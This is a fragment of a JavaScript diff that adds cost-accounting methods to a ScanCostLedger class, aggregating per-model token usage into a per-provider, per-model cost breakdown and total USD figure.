+ * runs and for runs whose sessions never named one — the caller then
56
+ * leaves the model field to its own resolution.
57
+ */
58
+ soleModel() {
59
+ if (this.perModel.size !== 1)
60
+ return void 0;
61
+ const [key] = this.perModel.keys();
62
+ return key === "unknown" ? void 0 : key;
63
+ }
64
+ /**
65
+ * Aggregate the recorded usage into the cloud's per-(provider, model)
66
+ * cost_breakdown shape — the same aggregation agentic-scanner's
67
+ * emitScanCompleted applies to its per-stage tally, sourced here from the
68
+ * true cross-session cumulative. Zero-usage buckets are skipped so the
69
+ * breakdown stays honest. Returns null when nothing was recorded at all,
70
+ * so callers omit cost_usd / cost_breakdown rather than emit a
71
+ * misleading $0.
72
+ */
73
+ costBreakdown() {
74
+ const acc = /* @__PURE__ */ new Map();
75
+ for (const [model, usage] of this.perModel) {
76
+ if (usage.inputTokens === 0 && usage.outputTokens === 0 && usage.cachedInputTokens === 0) {
77
+ continue;
78
+ }
79
+ const priced = model === "unknown" ? void 0 : model;
80
+ const provider = modelProvider(priced);
81
+ const key = `${provider}${model}`;
82
+ const split = splitCost(usage, priced);
83
+ const existing = acc.get(key);
84
+ if (existing) {
85
+ existing.cost_in += split.cost_in;
86
+ existing.cost_out += split.cost_out;
87
+ if (split.cost_cache_read !== void 0) {
88
+ existing.cost_cache_read = (existing.cost_cache_read ?? 0) + split.cost_cache_read;
89
+ }
90
+ } else {
91
+ acc.set(key, {
92
+ provider,
93
+ model,
94
+ cost_in: split.cost_in,
95
+ cost_out: split.cost_out,
96
+ ...split.cost_cache_read !== void 0 ? { cost_cache_read: split.cost_cache_read } : {}
97
+ });
98
+ }
99
+ }
100
+ if (acc.size === 0)
101
+ return null;
102
+ const breakdown = Array.from(acc.values());
103
+ const costUsd = breakdown.reduce((sum, e) => sum + e.cost_in + e.cost_out + (e.cost_cache_read ?? 0), 0);
104
+ return { costUsd, breakdown };
105
+ }
106
+ };
107
+
108
+ export {
109
+ ScanCostLedger
110
+ };